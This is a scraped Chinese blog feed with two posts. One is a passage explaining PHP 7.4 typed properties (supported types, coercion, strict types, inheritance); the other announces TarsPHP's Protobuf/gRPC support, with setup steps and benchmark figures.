在构造函数之外写入未初始化的属性是有效的。只要不去访问这些属性,就不会执行未初始化的检查。

支持的类型

上面我们说了类型属性只能在类中使用,并且需要访问修饰符或前面的var关键字。从可用类型来看,除了void和callable之外,几乎所有类型都可以使用。void类型表示没有值,它不能用于键入值。然而,callable类型则更复杂点。

PHP中的”callable”类型用法是:

$callable = [$this, 'method'];

假设你代码如下:

深入PHP 7.4之类型属性实例详解

在上面的示例中,$callable引用私有的Bar::method方法,但是调用是在Foo的上下文中调用。由于作用域不同,所以callable的也不能在类型属性中使用。

这没什么大不了的,因为Closure是一个有效的类型,它将记住构造它的$ this上下文。

除此之外,所有可用类型的列表如下:

布尔型(bool),整型(int),浮点型(float),字符串(string),数组(array),iterable,对象,?(nullable),self 和parent,类和接口

强制和严格的类型

PHP具有动态语言具有的类型灵活性,它会尽可能地强制或转换类型。假设传递给整型变量一个字符串,PHP将尝试自动转换该字符串:

function coerce(int $i){ … }coerce('1'); // 1

类型属性也使用同样的原则。以下代码有效,会自动将’1’转换为1。

class Bar{ public int $i; } $bar = new Bar; $bar->i = '1'; // 1

如果不喜欢这种行为,可以通过声明为严格类型检查来禁用:

declare(strict_types=1); $bar = new Bar; $bar->i = '1';

上述语句以错误类型赋值时候,在严格类型检查(strict_types=1)下会抛出严重错误:

Fatal error: Uncaught TypeError:Typed property Bar::$i must be int, string used

类型变量和继承

尽管PHP 7.4引入了改进的类型变量,但类型属性仍然是不变的。这意味着以下内容无效:

class A {}class B extends A {}class Foo{    public A $prop;}class Bar extends Foo{    public B $prop;}Fatal error: Type of Bar::$prop must be A (as in class Foo)

如果上面的看起起不明显,再举个例子:

class Foo{    public self $prop;}class Bar extends Foo{    public self $prop;}

在运行代码之前,PHP将使用它引用的具体类后台替换self。所以上面的代码也会抛出相同的错误。处理它的唯一正确姿势是:

class Foo{    public Foo $prop;}class Bar extends Foo{    public Foo $prop;}

说到继承,可能会发现很难找到任何好的用例来覆盖继承属性的类型。

值得注意的是,可以更改继承属性的类型,但前提是访问修饰符也从私有更改为protected或public。下面代码是正确的:

class Foo{    private int $prop;}class Bar extends Foo{    public string $prop;}

不允许将类型从可空变为非可空,反之亦然。

class Foo{    public int $a;    public ?int $b;}class Bar extends Foo{    public ?int $a;   public int $b;}Fatal error: Type of Bar::$a must be int (as in class Foo)

总结

本文我们以类型化属性是PHP为例介绍了PHP 7.4带来的新的变化和加强,更多的功能,可以参考PHP RFC。对于即将到来的7.4版本和后面可期的PHP 8 ,我们只有以活到老,学到老的态度才能跟上新技术的步伐。

深入PHP 7.4之类型属性实例详解

]]>
/9/20/23694.html/feed 0
TarsPHP 新版本发布,支持 Protobuf 协议 /9/20/23678.html /9/20/23678.html#respond Thu, 08 Aug 2019 02:00:26 +0000 /9/20/23678.html
TarsPHP 新版本发布,支持 Protobuf 协议

作者丨张勇

编辑丨TARS小助手

TARS是腾讯从2008年到今天一直在使用的微服务开发框架,2018年成为Linux基金会开源项目目前支持PHP、C++、Java、Nodejs与Go语言。该框架为用户提供了涉及到开发、运维,以及测试的一整套解决方案,帮助一个产品或者服务快速开发、部署、测试、上线。它集可扩展协议编解码、高性能RPC通信框架、名字路由与发现、发布监控、日志统计、配置管理等于一体,通过它可以快速用微服务的方式构建自己的稳定可靠的分布式应用,并实现完整有效的服务治理。

TarsPHP作为Tars在PHP语言的解决方案,设计的时候主要考虑如下四个方面:

  • 功能完善:对标现有C++、Java与NodeJS体系功能
  • 灵活:论灵活,谁与PHP争锋
  • 轻量:用最轻量的设计,点到即止,即插即用
  • 高效:插上Swoole协程的翅膀,不得不飞

Protobuf简介

Protocol buffers (简称PB)是Google开源的语言中立,平台无关,可扩展的序列化数据的格式,可用于通信协议,数据存储等。
Protocol buffers (简称PB)是Google开源的语言中立,平台无关,可扩展的序列化数据的格式,可用于通信协议,数据存储等。它和XML类似,但比XML更小,更快,更简单。
PB是编码协议,如果涉及到网络传输和RPC调用,就需要引入通讯协议。Google开源的RPC框架gRPC就使用Http2作为通讯协议,PB作为编码协议。

使用TarsPHP 构建 PB Server

初始化环境
    • Protoc 安装

首先需要安装protoc库,这个库的主要作用是打包解包protobuf协议数据。可以参考:https://github.com/protocolbuffers/protobuf/tree/master/src 直接安装。

TarsPHP 新版本发布,支持 Protobuf 协议

如果 protoc –version 可以正常输出,说明安装完成。

    • php protobuf安装

之后需要安装 php protobuf扩展,这个扩展主要用作php和protoc库中间的一个桥梁。

TarsPHP 新版本发布,支持 Protobuf 协议

如果 php –ri protobuf 有输出,说明安装正常。

    • Swoole 安装
建议使用4.4.0或以上版本,需要开启http2 和 openssl支持。
编写一个proto文件
参考TarsPHP中ActDemo中评论服务的tars文件,我们写了一个actComment.proto的协议文件。

和tars协议文件不同,proto协议中规定输入输出参数必须也只能是一个message结构体,因此需要对输入输出参数单独在封装一个message。

TarsPHP 新版本发布,支持 Protobuf 协议TarsPHP 新版本发布,支持 Protobuf 协议TarsPHP 新版本发布,支持 Protobuf 协议

生成server端代码

protoc可以根据proto文件生成对应的php类代码,但是官方并不支持proto文件生成server端代码,可以使用gRPC插件生成client代码。如果需要使用生成的client代码我们还需要安装grpc库和grpc php扩展。

因此我们的思路是,先使用protoc生成php需要的类,然后自己解析proto文件生成server 端interface,这个过程非常像现有的tars2php的过程,因此我们叫它proto2php。
由于使用两个工具生成还比较麻烦,我们把调用proto的过程集成到proto2php中方便大家使用。

我们先构建一个tars.proto.php设置一些基本信息。

TarsPHP 新版本发布,支持 Protobuf 协议

然后执行:

TarsPHP 新版本发布,支持 Protobuf 协议

之后会生成GPBMetadata目录和protocol目录。其中protocol中就是proto文件生成的php类,另外CommentObjServant.php就是proto2php文件生成的server端interface类。构建TarsPHP pb server需要实现这个类。
部署TarsPHP PB server
按照Demo中 Readme部署tarsphp pb server即可。
几点注意:
  1. 需要在impl目录中实现interface逻辑

  2. 在src下的services.php中指定home-api,home-class位置,protocolName是pb,serverType是grpc

  3. tars平台上协议类型是 tcp,非tars协议

  4. 需要在composer.json中添加require “google/protobuf”,autoload中需要配置 Protocol 和 GPBMetadata,范例如下:

TarsPHP 新版本发布,支持 Protobuf 协议

最后执行 composer run-script deploy,生成代码包,上传到Tars平台上发布。

使用client访问
可以使用gRPC生成的php客户端访问测试,也可以直接使用swoole 的http2客户端构建一个grpc客户端。

TarsPHP 新版本发布,支持 Protobuf 协议

TarsPHP 新版本发布,支持 Protobuf 协议

执行php client.php观察返回。

生成client端代码

前面提到的client,只是我们访问PB server 的简单demo,可以帮助我们测试PB server的状态。如果需要在其他Tars服务中调用PB server应该如何使用呢?和Tars类似我们也提供了生成PB client端代码的方式。

这里使用TarsActDemo下的QD.ActHttpServer为范例演示如何生成Tars PB client代码并调用PB服务。

  1. 拷贝actComment.proto文件到tars目录

  2. 构建actCommentPb.proto.php 文件,内容和生成server代码用的tars.proto.php内容一致,修改 withServant = false

  3. 执行:TarsPHP 新版本发布,支持 Protobuf 协议

  4. 之后在protocol/QD/ActCommentPbServer 中可以看到相关生成代码。(和Server 端代码类似,CommentObjServant.php是 proto2php生成的,其他文件是proto2php 调用 protoc 插件生成的)

  5. 和Server端类似需要添加 GPBMetadata 和 Protocol 到composer.json 的psr-4中

  6. 和Tars 调用类似,可以直接调用CommentObjServant类的相关方法和PB 服务通讯。需要注意的是 传入的 CommunicatorConfig 中的socketModel 需要设置为 4 grpc 模式

范例如下:

TarsPHP 新版本发布,支持 Protobuf 协议

和TarsGo中关于PB支持的不同

TarsGo中关于PB的支持,本质是对proto协议文件的支持,提供将proto协议文件转换为tars协议的能力,在相互调用中实际使用的是tars协议。这个服务可以和其他Tars服务相互工作。

TarsPHP中关于PB的支持,是构建了一个gRPC服务,这个服务部署在Tars平台上,参与Tars平台寻址,受Tars平台管理。这个服务使用gRPC on Http2作为网络通讯协议,使用Protobuf作为编码协议,可以和其他PB client 相互工作。

两者方向不同,不能混合使用,希望大家区分。

相关数据

我们使用相同Http服务,分别使用Tars和Pb协议和后端服务通讯并进行压测。

  • 服务器环境:2核 4G,php 7.2.16,swoole 4.4.0

  • 服务空跑指的是简单的ping到后端服务,不进行任何业务处理直接返回

  • 单次简单RPC指的是向后端服务获取弹幕数量返回一个int,数量值rand生成,并没有使用mysql count

  • 单次复杂PRC会实际向后端获取弹幕列表结构体,包含多条弹幕对象完整结构

QDPS

PB

TARS

服务空跑

3800

6200

单词简单RPC

3600

6150

单词复杂RPC

1050

1150

从压测数据来看,Tars性能比PB高出一截,但对比两者打包解包性能发现PB打包解包性能略优于Tars,导致这样结果的主要原因我认为是gRPC使用Http2作为通讯协议相比Tars的自定义通讯协议需要很多开销。
]]>
/9/20/23678.html/feed 0